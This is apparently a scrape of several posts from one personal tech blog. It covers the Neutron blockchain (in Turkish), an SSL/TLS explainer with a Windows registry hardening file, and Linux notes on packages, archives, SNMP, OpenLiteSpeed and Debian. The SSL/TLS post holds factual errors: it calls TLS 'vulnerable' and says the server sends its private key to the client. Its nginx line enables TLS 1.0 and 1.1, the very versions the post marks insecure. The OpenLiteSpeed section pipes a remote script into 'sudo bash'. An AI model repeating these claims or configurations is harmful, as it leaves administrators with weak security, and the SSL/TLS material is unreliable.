Interchain Desteği: Akıllı sözleşmelerin, başka hiçbir blockchain’de olmayan bir kolaylıkla, diğer zincirlerdeki (örn. Osmosis, dYdX) hesapları kontrol etmesine, sorgu yapmasına ve işlem gerçekleştirmesine olanak tanır. Bu platform, akıllı sözleşmeler için CosmWasm sanal makinesini kullanır; bu da geliştiricilerin Rust gibi popüler dillerde, Ethereum’un Solidity diline kıyasla daha güvenli ve performanslı uygulamalar yazmasına imkan tanır. Neutron’un Teknolojisi: Güvenlik ve İletişim Neutron’un mimarisi, Cosmos ekosisteminin en gelişmiş iki teknolojisi üzerine kuruludur: 1. Interchain Security (ICS) - Zincirler Arası Güvenlik Bir blockchain’in en zor ve pahalı kısmı, ağı güvence altına alacak (stake edecek) milyarlarca dolarlık bir ekonomik değeri toplamaktır. Neutron, “Replicated Security” (RS - ICS’in ilk versiyonu) modelini benimseyen ilk “Tüketici Zinciri” (Consumer Chain) olarak bu sorunu çözmüştür. Bu modelde: Neutron, kendi güvenliğini sağlamak için Cosmos Hub’a ($ATOM) güvenir. Cosmos Hub’ın 180’den fazla doğrulayıcısı, ATOM token’larını stake ederek aynı anda Neutron ağını da doğrular ve güvence altına alır. Karşılığında bu doğrulayıcılar, Neutron ağının işlem ücretlerinden ve token enflasyonundan pay alırlar. Bu, Neutron’un, lansmanının ilk gününden itibaren milyarlarca dolarlık ekonomik güvenlikle (Cosmos Hub’ın güvenliğiyle) çalışmaya başlamasını sağlamıştır. Önemli Güncelleme (Mart 2025): Cosmos Hub üzerinde kabul edilen 993 numaralı önerge ile Neutron, bu “Replicated Security” modelinden “mezun olmuştur”. Bu, projenin artık daha bağımsız hareket edeceği ve muhtemelen “Kısmi Set Güvenliği” (Partial Set Security - PSS) gibi daha esnek bir modele geçeceği anlamına gelir. 2. Interchain Accounts (ICA) ve Interchain Queries (ICQ) Bu iki teknoloji, Neutron’un “Interchain (zincirler arası) akıllı sözleşme” platformu olmasının anahtarıdır: Interchain Accounts (ICA): Bir Neutron akıllı sözleşmesinin, başka bir Cosmos zincirinde (örn. Osmosis) bir cüzdan hesabı açmasına ve kontrol etmesine olanak tanır. Interchain Queries (ICQ): Bir Neutron akıllı sözleşmesinin, başka bir zincirdeki verileri (örn. Osmosis’teki bir havuzun bakiyesini) doğrudan ve güvenli bir şekilde sorgulamasına izin verir. Sonuç: Bir geliştirici, Neutron üzerinde öyle bir dApp yazabilir ki, bu dApp sizin adınıza gider, Osmosis’te bir token takaslar (ICA), o token’ı Mars Protocol’e borç verir ve Kujira’daki fiyatı kontrol eder (ICQ). Tüm bunları, siz Neutron ağından hiç ayrılmadan yapar. NTRN Token’ı Ne İşe Yarar? NTRN, Neutron ağının yerel (native) kripto para birimidir ve maksimum arzı 1 Milyar adet ile sınırlandırılmıştır. Gas Ücretleri: Ağdaki tüm akıllı sözleşme işlemleri ve transferler için gas ücretleri NTRN ile ödenir. Yönetişim (Governance): NTRN sahipleri, protokolün hazinesinin (Treasury) nasıl kullanılacağı, ağ parametrelerinin güncellenmesi ve yeni özelliklerin eklenmesi gibi konularda oy hakkına sahiptir. DeFi Ekosistemi: Ağ üzerindeki DeFi protokollerinde (örn. Astroport, Duality) likidite sağlamak, borç almak/vermek (collateral) ve stake etmek için kullanılır. Başlangıç Token Dağılımı (Tokenomi) NTRN’nin 1 Milyarlık arzı, projenin uzun vadeli büyümesini desteklemek için şu şekilde dağıtılmıştır: Hazine (Treasury): %27 Rezerv (Reserve): %24 Ekip (Team): %23 Yatırımcılar (Investors): %11 Airdrop (ATOM Staker’ları vb.): %7 Likidite (Bootstrap): %5 Binance Launchpool: %2 Danışmanlar (Advisors): %1 Neutron Ekosistemi: DeFi ve Bitcoin Odaklı Neutron’un ana odak noktası, gelişmiş DeFi uygulamaları ve son zamanlarda “Bitcoin DeFi” (BTCFi) olmuştur. Ekosistemin çekirdek geliştiricisi Hadron Labs‘tır. Öne çıkan bazı projeler: Duality: Sadece bir DEX değil, protokol seviyesine entegre edilmiş bir hibrit AMM/Emir Defteri (Orderbook) borsasıdır. Duality Labs ekibi, Neutron’un çekirdek geliştiricisi Hadron Labs ile birleşmiştir. Astroport: Cosmos ekosisteminin en büyük merkeziyetsiz borsalarından (DEX) biridir ve Neutron üzerinde devasa bir likidite merkezine sahiptir. Mars Protocol: Cosmos tabanlı bir “para piyasası” (money market) protokolüdür ve kullanıcıların Neutron üzerinde borç alıp vermesine olanak tanır. --- ## What is SSL and TLS? and Security Fix Link: https://farukguler.com/posts/what-is-ssl-and-tls-and-security-fix/ TLS (Transport Layer Security) and SSL (Secure Sockets Layer) are cryptographic protocols used to secure communication on the internet. Both provide encryption of information during data transfer, thus providing security services such as confidentiality, integrity and authentication. SSL: (Secure Sockets Layer):SSL was developed by Netscape Communications and first published in 1995. It was the first protocol used to encrypt and secure communications on the Internet. The main goal of SSL is to ensure that communication between client and server is confidential. SSL forms the basis of the HTTPS (HTTP Secure) protocol commonly used on websites. It is used in communication between browsers and servers, allowing websites to provide a secure connection to their visitors. However, due to the emergence of SSL's security vulnerabilities and its inability to keep up with developing technology, it was replaced by TLS over time. TLS: (Transport Layer Security):TLS was developed to replace SSL and was released in 1999. TLS is an improved and vulnerable version of SSL. The process, which started with the transition from SSL 3.0 to TLS 1.0, continues today with TLS 1.2 and TLS 1.3 versions. TLS makes communication on the internet more secure. This protocol increases the security of data by using advanced encryption algorithms. Additionally, it provides authentication and data integrity. Nowadays, TLS is more common to use because SSL has security vulnerabilities and is no longer supported. It allows a secure connection to be used in communication between browsers and servers. How (TLS) Transport Layer Security Works? Handshake: A handshake process takes place between the client and the server that initiates the communication. In this process, parties share their certificates and generate encryption keys to authenticate each other. This step is a fundamental step to ensure the security of communication. Encryption and Authentication: After the handshake process, communication between the parties is encrypted and authenticated. This step ensures the security and confidentiality of the data. Data Transfer: Encrypted data is transmitted securely between parties. Data integrity is ensured, meaning it is verified that the data has not been modified or corrupted. Connection Termination: When communication is completed, the connection between the parties is terminated. This step ensures that the communication ends safely. How (SSL) Secure Sockets Layer Works? Client Connection: The client (for example, a web browser) connects to the server and wants to establish a secure connection. Server Authentication: The server typically sends a digital certificate to the client. This certificate authenticates the server and proves that a secure connection has been established. Private Key Sharing: The server sends a private key to the client, which will be used to encrypt the connection. This key is used to securely transmit the symmetric encryption key that will be used to secure the connection. Generation of Symmetric Encryption Key: The client creates a symmetric encryption key for the connection using the private key sent by the server. This key is used to encrypt and decrypt communications. Encryption and Transmission of Data: All data between the client and the server is now encrypted and transmitted securely using the generated symmetric encryption key. Termination of Connection: When communication is completed, the connection between the client and server is terminated and the encryption keys are deleted. These steps constitute the basic working principle of SSL. In this way, communication on the internet is made secure and data is transmitted securely. TLS ⚔️ SSL People continue to use SSL when referring to TLS even now, but SSL is no longer supported by most web browsers as this protocol has been considered insecure for many years. The latest version of SSL, SSL 3.0, has been deprecated since 2015. The most common uses of SSL and TLS: Secure Web Communication (HTTPS): SSL and TLS are used in the HTTPS protocol to encrypt communication between web browsers and servers. In this way, users can communicate with websites securely. Email Security: SSL and TLS are used to encrypt communications between email servers. In this way, e-mail traffic is protected from surveillance by malicious individuals or institutions. VPN Connections: Some VPN services use SSL and TLS to encrypt and securely transmit users' internet traffic. Secure File Transfer: SSL and TLS are used to encrypt file transfers through file transfer protocols (FTP, SFTP, SCP, etc.) Secure API Communication: SSL and TLS are used to encrypt communication between web services and APIs, ensuring data security. The most common use of SSL/TLS that you can find on the internet is that it is applied on top of the HTTP (Hypertext Transfer Protocol) protocol and creates an extension known as HTTPS (Secure Hypertext Transfer Protocol). Therefore, any website that uses HTTPS also uses SSL/TLS encryption on a daily basis. Difference Between HTTP and HTTP(S) HTTP, which stands for Hyper Text Transfer Protocol, is the protocol used to view web pages. HTTPS stands for Secure Hyper Text Transfer Protocol. So it is Http with security feature. Differences Between SSL and TLS in Summary: SSL Version History: SSL has been replaced by TLS. SSL has versions 1.0, 2.0 and 3.0. TLS Version History: TLS is the upgraded version of SSL, available in versions 1.0, 1.1, 1.2 and 1.3. Event: All SSL versions are deprecated. TLS versions 1.2 and 1.3 are actively used. Warning Messages: SSL has only two types of warning messages, and the warning messages are not encrypted. On the other hand, TLS alert messages are encrypted and are more diverse. Message Authentication: SSL uses MACs, while TLS uses HMACs. Cipher Suites: SSL supports legacy algorithms with known vulnerabilities, while TLS uses advanced encryption algorithms. Handshake: While the SSL handshake process is complex and slow, the TLS handshake has fewer steps and a faster connection. How to Check the SSL/TLS Version Check For Windows Server and Client:HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols⚠️🔴Insecure SSL/TLS Versions:> SSL 2.0> SSL 3.0> TLS 1.0> TLS 1.1✅✅✅Secure SSL/TLS Versions:> TLS 1.2> TLS 1.3IIS Crypto Tool: https://www.nartac.com/Products/IISCryptoCheck For ssllabs: https://www.ssllabs.com/ssltestREG Dir Server and Client:HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Server\ServerHKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\ClientEnable✅ Registry Configuration:> Protocols > SSL 2.0 > SSL 3.0 > TLS 1.0 > TLS 1.1✔️✅ > TLS 1.2 *** > Server :DisabledByDefault (0) :Enabled (1) > Client :DisabledByDefault (0) :Enabled (1) > TLS 1.3Check For Linux Server and Client:Apache:To turn off SSL v3.0 on Apache;SSLProtocol All -SSLv2 -SSLv3Nginx:For both TLS version 1.2 and 1.3 use the following in nginx config file:ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ⚠️Note: TLS 1.3 is only supported in Windows Server 2022 and later. Security Fix All Version REG File: Year 2024 Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\Multi-Protocol Unified Hello][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\Multi-Protocol Unified Hello\Client]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\Multi-Protocol Unified Hello\Server]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT 1.0][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT 1.0\Client]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT 1.0\Server]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Client]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Client]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Client]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Client]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Server]"Enabled"=dword:00000000"DisabledByDefault"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Client]"Enabled"=dword:ffffffff"DisabledByDefault"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Server]"Enabled"=dword:ffffffff"DisabledByDefault"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.3][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.3\Client]"Enabled"=dword:ffffffff"DisabledByDefault"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.3\Server]"Enabled"=dword:ffffffff"DisabledByDefault"=dword:00000000 Result: Written by theguler with love in Turkey 💖 --- ## Linux Package and Archive Management Link: https://farukguler.com/posts/linux-package-and-archive-management/ Linux'ta program/paket yükleme, güncelleme, onarma, kaldırma, temizleme genellikle dağıtımına bağlı olarak farklı yöntemlerle gerçekleştirilir. Yaygın olarak kullanılan birkaç yöntemi açıklamak istiyorum. Makale çok uzun olduğu için [güncelleme, onarma, kaldırma, temizleme] işlemlerinden tam olarak bahsedilmeyecektir. Kısa bir araştırma ile detaylı bilgilere erişebilirsiniz. Master The Repository/Repo: Building from Source Code: Local installation File: #Package Management System+ Synaptic+ Apper+ Aptitude+ Snapd+ Homebrew+ Flatpak+ AppImage+ PackageKit………#Packages- bin file: ./file_name.bin- sh file: ./file_name.sh- run file: ./file_name.run- py file: python file_name.py- jar file: java -jar file_name.jar- pl file: perl file_name.pl- ruby file: ruby file_name.rb………..#Install Windows Software on Linux- Wine- Crossover:……….. The Repository/Repo: Linux'un çoğu dağıtımında paket yöneticileri kullanılarak programları kurmak en yaygın ve önerilen yöntemdir. Paket yöneticileri, bağımlılıkları çözme, güncelleme ve kaldırma gibi işlemleri otomatik olarak yönetir. Aşağıda bazı yaygın paket yöneticileri bulunmaktadır: ##Debian:sudo apt update # Paket listesini güncellesudo apt install paket_adı # Paketi yükle##Red Hat/Fedora:sudo dnf install paket_adı # Paketi yükle##Arch Linux:sudo pacman -S paket_adı # Paketi yükle##Slackware:sudo installpkg paket_adı.tgz Building from Source Code: Programın kaynak kodunu indirip derleyerek yüklemek, özellikle belirli yapılandırmalara ihtiyaç duyulan durumlarda kullanışlı olabilir. Bu yöntem, genellikle aşağıdaki adımları içerir: Kaynak kodunun indirilmesi Bağımlılıkların kontrol edilmesi ve gerekli bağımlılıkların yüklenmesi Yapılandırma (configure) ve derleme işlemlerinin gerçekleştirilmesi Kurulumun tamamlanması #Debian#Download:wget https://docs.farukguler.com/package/paket.tar.gz#Extract and install:sudo apt install build-essential # Install the necessary tools for compilationtar -xvf source_code.tar.gz # Extract source codecd source_code_directory # To source code directory./configure # Check required libraries and componentsmake # Compilation process ....\.sudo make install # Installation-sending files to directoriesmake clean                       # Clean compiled files end of installation Local installation File: Bir "Yerel Kurulum Dosyası" genellikle tek bir bilgisayara veya belirli bir kullanıcı hesabına özel olarak indirilen ve kurulan bağımsız bir yazılım paketidir. #Download:wget https://docs.farukguler.com/repo/package_name.rpm##Debian/Ubuntu: (dpkg)sudo dpkg -i package.deb # Install packagesudo apt install -f # Fix dependencies##Fedora/RHEL (Red Hat Enterprise Linux): (dnf)sudo dnf install /path/to/package.rpm # Install the package##OpenSUSE: (zypper)sudo zypper install /path/to/package.rpm # Install the package##Arch Linux: (pacman)sudo pacman -U /path/to/package.pkg.tar.zst # Install package##Slackware: (installpkg)installpkg package.tgz # Install package Synaptic, Snap, Flatpak, and other packages Synaptic: GuiSnap: snap install package_nameFlatpak: flatpak install package_name.........bin file: ./file_name.binsh file: ./file_name.shrun file: ./file_name.run Tabanı farklı Linux dağıtımları, farklı paket yönetim sistemleri kullanır. Bu sistemler, yazılım paketlerini yönetmek, dağıtmak ve kurmak için kullanılan araçları içerir. Her dağıtımın kendi paket yöneticisi ve paket formatları farklı olabilir, bu nedenle kullanılan dağıtıma özgü dokümantasyonu kontrol etmek her zaman iyi bir uygulamadır. DebIanRedHat/SUSEPaket Uzantısı: .debPaket Uzantısı: .rpmPaket Yöneticisi (Yükleyicisi): dpkgPaket Yöneticisi (Yükleyicisi): rpmPaket Ortamı (Distro’su): Debian, UbuntuPaket Ortamı (Distro’su): RHEL, Fedora, openSUSEPaket Yöneticileri: apt, aptitudePaket Yöneticileri: yum, dnf, zypper-----------------------------------------------------------------------------------------------------------------------------------------------Debian & RedHat/SUSE Distros Arch LInuxSlackwarePaket Uzantısı: .pkg.tar.zstPaket Uzantısı: .tgzPaket Yöneticisi (Yükleyicisi): pacmanPaket Yöneticisi (Yükleyicisi): installpkg, removepkgPaket Ortamı (Distro’su): Arch LinuxPaket Ortamı (Distro’su): Slackware-----------------------------------------------------------------------------------------------------------------------------------------------Arch Linux & Slackware Distros 💾🗜️Archive Management🗜️ #Tartar -cvf dosya.tar /yol/klasoru #Tar Arşivi Oluşturtar -xvf dosya.tar #Tar Arşivini Çıkart:tar -tvf dosya.tar #Tar Arşivi İçeriğini Listeletar cf arsiv.tar dosya1 dosya2 #Arsivletar xf arsiv.tar #Çıkar#Tar ve Gziptar -czvf dosya.tar.gz /yol/klasoru #Arşiv Oluşturtar -xzvf dosya.tar.gz #Sıkıştırılmış Tar Arşivini Çıkarttar cfz arsiv.tgz dosya1 dosya2 #Arsivletar xfzv arsiv.tgz #Çıkar#Tar ve Bzip2tar -cjvf dosya.tar.bz2 /yol/klasoru #Sıkıştırılmış Arşiv Oluşturtar -xjvf dosya.tar.bz2 # Sıkıştırılmış Tar Arşivini Çıkarttar cfj arsiv.tar.bz2 dosya1 dosya2 #Arsivletar xfjv arsiv.tar.bz2 #Çıkar#Zipgzip dosya.txt #Dosyayı Sıkıştırgzip -d dosya.txt.gz #Dosyayı Çıkartzcat dosya.txt.gz #Dosyanın İçeriğini Görüntülezip arsiv.zip dosya1 dosya2 #Zip Arşiv Oluşturunzip arsiv.zip #Çıkar#Zip ve Unzip (PKZIP)zip arsiv.zip dosya1 dosya2 #Arsivleunzip arsiv.zip #Çıkar#7-Zip7z a arsiv.7z dosya1 dosya2 #Arsivle7z x arsiv.7z #Çıkarzip -l arsiv.zip #Zip Arşivi İçeriğini Listele#Rar ve Unrarrar a arsiv.rar dosya1 dosya2 #Rar Arşivi Oluşturunrar x arsiv.rar #Rar Arşivini Çıkartunrar x arsiv.rar /yol/klasoru #Belirtilen Dizine Çıkartrar l arsiv.rar #Rar İçeriğini Listele</pre> Made with Love and Simplicity in Turkey ❤️ --- ## SNMP Protokolü Nedir? Link: https://farukguler.com/posts/snmp-protokolu-nedir/ SNMP (Simple Network Management Protocol), ağ cihazlarını izlemek, yönetmek ve konfigüre etmek için kullanılan bir ağ yönetim protokolüdür. SNMP, TCP/IP protokol ailesi içinde yer alan bir uygulama katmanı protokolüdür. Genellikle bilgisayar ağlarındaki cihazların durumunu izlemek ve yönetmek amacıyla kullanılır. SNMP Default olarak UDP 161 ve 162 portlarını kullanmaktadır. SNMP'nin temel bileşenleri: Yönetici (Manager): SNMP yöneticisi, ağdaki cihazları izleyen ve yöneten bir yazılımdır. Bu yönetici, ağdaki cihazlardan veri toplar, olayları izler ve gerekirse cihazları yapılandırabilir. Ajan (Agent): SNMP ajanı, yöneticinin sorgularını yanıtlayan ve yöneticiye bilgi sağlayan cihaz veya uygulamalardır. Ajanlar, ağdaki cihazlara entegre edilen yazılım veya donanım modülleridir. Yönetim Bilgi Sistemi (MIB - Management Information Base): MIB, ağdaki cihazların durumu hakkında bilgi içeren bir veritabanıdır. MIB, bir ağdaki cihazların özelliklerini, durumlarını ve diğer önemli bilgileri tanımlayan bir hiyerarşik yapıya sahiptir. Her cihazın MIB'e bağlı olarak kendine özgü bir MIB yapısı bulunur. SNMP Versions SNMPv1 : 1988 yılında ilk kez tanıtılan SNMPv1, temel ağ yönetimi ihtiyaçlarını karşılamak için oluşturuldu. Ancak, veri yapıları oldukça basitti ve güvenlik önlemleri sınırlıdır. Güvenlik, topluluk dizisi (community string) kullanılarak sağlanıyordu. SNMPv1, cihazların durumunu izlemek ve temel ağ yönetimi görevlerini gerçekleştirmek için kullanılır. SNMPv2c : 1993'te geliştirilen SNMPv2c, SNMPv1'in özelliklerini genişletti. Daha gelişmiş veri yapılarına ve toplu veri işleme yeteneklerine sahiptir. Ancak, güvenlik konusunda eksiklikleri vardır. Topluluk dizisi yine temel kimlik doğrulama mekanizmasıdır. Hala yaygın olarak kullanılmaktadır. SNMPv3 : 1998 yılında tanıtılan SNMPv3, önceki versiyonlardaki güvenlik eksikliklerini gidermeyi amaçladı. Kimlik doğrulama, şifreleme ve yetkilendirme gibi gelişmiş güvenlik özellikleri içerir. SNMPv3, daha güvenli ve karmaşık ağ yönetimi ortamlarında kullanılmak üzere tasarlandı. Bu versiyon, özellikle büyük ölçekli ağlarda ve endüstriyel sistemlerde yaygın olarak kullanılır. SNMP on Debian -OS ##SNMP Clients: ##SNMP Clients:#SNMP client install on Debiansudo apt updateapt-get install snmp#MIBs (Management Information Base) download-installapt-get install snmp-mibs-downloader#SNMP server running on localhost, you can testsnmpwalk -v1 -c public localhost#Edit/Add conf. File: sudo nano /etc/snmp/snmp.confmibs :#Update the MIBS to latest versionsdownload-mibs ##SNMP Servers: ##SNMP Servers:#SNMP server install on Debiansudo apt updateapt-get install snmpd#Edit SNMP conf. file sudo nano /etc/snmp/snmpd.confrocommunity genel localhost#SNMP Servicesudo systemctl restart snmpdsudo systemctl status snmpdsudo systemctl enable snmpd ##SNMPWALK Using - Test ##SNMPWALK Using - Test#snmpwalk v1:snmpwalk -v1 -c public 10.7.60.65 1.3.6.1.2.1.1.5.0#snmpwalk v2:snmpwalk -v 2c -c public 10.7.60.65 1.3.6.1.2.1.1.5.0#snmpwalk v3:snmpwalk -v3 -l authPriv -u USER -a SHA -A “PASSWORD1” -x AES -X “PASSWORD1” 10.7.60.65:161 Best Regards. – Saygılarımla. --- ## OpenLiteSpeed Nedir? Link: https://farukguler.com/posts/openlitespeed-nedir/ OpenLiteSpeed, yüksek performanslı, hafif, açık kaynaklı bir HTTP sunucusu sürümüdür ve LiteSpeed Web Server Enterprise'ın açık kaynak alternatifidir. Bu sunucu, web sitelerinin hızlı ve güvenli bir şekilde çalışmasını sağlamak için tasarlanmıştır. OpenLiteSpeed, GNU General Public License (GPLv3) altında lisanslanmıştır, bu da kullanıcıların özgürce indirebilmesi, kullanabilmesi, değiştirebilmesi ve dağıtabilmesi anlamına gelir. Özellikleri: Olay Odaklı Mimari:OpenLiteSpeed, olay odaklı bir mimari kullanır. Bu, daha az işlem kullanımı, daha az ek yük ve olağanüstü ölçeklenebilirlik anlamına gelir. Olay odaklı mimari, gelen istekleri etkili bir şekilde yönetir ve sunucunun performansını artırır. HTTP/3 ve HTTP/2 Desteği:Sunucu, en yeni internet protokolleri olan HTTP/3 ve HTTP/2'yi destekler. Bu, web sitelerinin daha hızlı yüklenmesini sağlar ve kullanıcı deneyimini artırır. mod_rewrite Uyumlu:OpenLiteSpeed, Apache web sunucusunun popüler mod_rewrite motorunu anlar. Bu, Apache kullanıcıları için geçiş yapmayı düşünenler için avantajlıdır. Çoklu PHP Desteği:Sunucu, gömülü PHP ve LiteSpeed SAPI (LSAPI) desteği ile 2 kat daha hızlı harici uygulamaları destekler. Bu, çeşitli PHP sürümleriyle uyumluluk sağlar. Kolay Yönetici Arayüzleri:OpenLiteSpeed, yerleşik bir WebAdmin GUI'si sunar ve ayrıca CyberPanel veya DirectAdmin gibi popüler kontrol panelleriyle uyumludur. Bu, kullanıcıların sunucularını kolayca yönetmelerini sağlar. Hız ve Güvenlik İçin Tasarlandı:Sunucu, anti-DDoS özellikleri, bant genişliği daraltma, WAF (Web Uygulama Güvenliği) desteği gibi güvenlik ve optimizasyon özellikleri içerir. Bu, web sitelerinin güvenli ve hızlı olmasını sağlar. Akıllı Önbellek Hızlandırma:OpenLiteSpeed, verimli ve özelleştirilebilir tam sayfa önbellek modülü ile gelir. Bu, web sitelerinin daha hızlı yanıt vermesini sağlar. Sayfa Hızı Optimizasyonu:Sunucu, Google'ın Sayfa Hızı optimizasyon sistemini otomatik olarak uygular. Bu, web sitelerinin arama motorlarındaki sıralamalarını artırabilir. CMS Hızlandırma:OpenLiteSpeed, popüler içerik yönetim sistemleri (CMS) olan WordPress, Drupal, Joomla gibi platformlarda üstün performans sağlar. ModSecurity Entegrasyonu:Sunucu, mod_security v3 entegrasyonu ile Katman 7 koruması sağlar. Bu, web uygulamalarını potansiyel tehditlere karşı korur. Tek Tıklamayla Kurulum:OpenLiteSpeed, tek tıklamayla OpenLiteSpeed, MariaDB ve WordPress gibi yazılımların kurulumunu sağlar. Multi-Thread Modülü:Sunucu, özel Multi-Thread (MT) modülünü kullanarak en hızlı web hizmeti platformlarından birini sunar. OpenLiteSpeed Install: (Multi Support Package) RHEL: 7, 8, 9 CentOS Oracle Linux RHEL AlmaLinux Rocky Linux VZLinux CloudLinux Ubuntu 18.04, 20.04, 22.04 Debian 10, 11 #Your System is up-to-datesudo apt updatesudo apt upgrade#OpenLiteSpeed repository Adder Execute these scriptwget -O - https://repo.litespeed.sh | sudo bashsudo apt install openlitespeed#OpenLiteSpeed using (LSWS)sudo systemctl start lswssudo systemctl status lswssudo systemctl enable lsws#Installing PHP (LSWS)sudo apt install lsphp81 lsphp81-common lsphp81-curl lsphp81-mysql lsphp81-opcache lsphp81-imap lsphp81-opcache#Create the Administrator Passwordsudo /usr/local/lsws/admin/misc/admpass.sh#Configure Firewall (UFW)sudo ufw allow 7080/tcpsudo ufw reloadsudo ufw status#Access OpenLiteSpeed Web UIhttp://openlsws.guler.com:7080http://10.4.47.233:7080 Öğrenmeye aç kalın – Be hungry to learn --- ## Debian Linux Cheat Sheet V [System Information] Link: https://farukguler.com/posts/debian-linux-cheat-sheet-v-system-information/ 🐧🖥️ Get Unix/Linux System Information----------------------------------------|lsb_release -ahostnamectluname -acat /proc/versioncat /etc/issuehostnamewwhotopdateuptimelastps -allps auxsysctl -apstree -avmstatmpstat #multi-processor CPUiostat #devices I/Osudo stress-ng #stres test -diagnostigwhoamiifconfigip anetstat -tunapcat /proc/cpuinfocat /proc/meminfofree -mhfree -h #ram swap managementlscpulsmod #kernel modüllerivmstat -t /-td / -tDlshw -shortlsusb #USB device listshwinfo --shortlspcidf -h -Tlsblklsblk -p /dev/sda (detailed)lsblk -aparted -lduffdisk -lcfdisk #disk partitiondmidecode -t systemdmidecode -t bioslsofdu -hc <argüman>systemctl list-units --type=servicejournalctldpkg -ludevadm monitor #udev eventsneofetchaptitudehtop --- ## 🐧 Debian Get Started Cheat Sheet I Link: https://farukguler.com/posts/Debian-Get-Started-Cheat-Sheet-I/ |------- 🐧 Debian GNU/Linux 🐧 --------||----------------------------------------|OS Name: Debian GNU/Linux 11 (bullseye)OS Type: 64-bitCodename: bullseyeIP: 10.8.58.150Domain: Guler.comHostname: Debian-WebSv----------------------------------------|ISO Media Download:----------------------------------------|CD:600MB Internet:DVD:4GB Local:https://www.debian.org/distrib/index.tr.htmlhttps://www.debian.org/CD/http-ftp/#mirrors#Disk Management (Guide & LVM & Manuel)----------------------------------------|#Disk Partition: ManualName: SAMSUNG PM9A3 1.92TB SSDUse as: Ext4, swap area, Reserved BIOS boot area, EFI System PartitionMount point: /Mount options: defaultsLabel: testnameReserved blocks: %5Typical usage: standardBootable flag: on🐧 #Example Disk Configuration:LVM 1 Ex4 / SpesifikLVM 2 Ex4 FREE SPACE MoreLVM 3 Swap Swap Swapta belirtildiği gibi:LVM 4 BOOT/ESP(EFI System Partition) 100-550 MBLVM 5 Ex4 FREE SPACE More#Swap: Swap, RAM yetersiz olduğunda kullanılan ek depolama alanıdır.#Önerilen Swap boyutu fiziksel ram miktarının yarısı olması önerilir.#GRUB Loader:---------------------|GRUB (GRand Unified Bootloader), bir bilgisayarın işletim sistemini başlatan bir önyükleyici (bootloader) programdır. Bu, bilgisayarınızı açtığınızda hangi işletim sisteminin yüklü olduğunu ve hangi sürümünün çalıştırılacağını belirlemekle görevlidir.#Repository Management:-------------------------|#Kurulu Paketleri Repositorylerle Karşılaştır/Güncelle:sudo apt update#Yüklü Paketleri Listele-Kontrol-Güncellesudo apt list --installedsudo apt list --upgradable⚠ #sudo apt upgrade⚠ #sudo apt --only-upgrade install apache2 (specific paket)⚠️ Dağıtım yükseltme 